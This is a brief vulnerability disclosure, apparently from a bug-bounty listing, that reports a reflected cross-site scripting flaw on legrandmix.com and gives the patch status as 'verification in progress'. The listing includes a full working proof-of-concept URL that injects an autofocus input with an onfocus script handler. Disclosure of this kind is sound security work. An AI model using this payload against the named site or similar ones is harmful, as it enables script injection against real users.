legrandmix.com XSS vulnerability

Vulnerable URL: http://www.legrandmix.com/NL/concert.php?date=2017-11-29%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Type=Text%20AutoFocus%20/;%20OnFocus=alertOPENBUGBOUNTY%20//%3E%3CSvg%3E=20-00 Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 25.10.2017...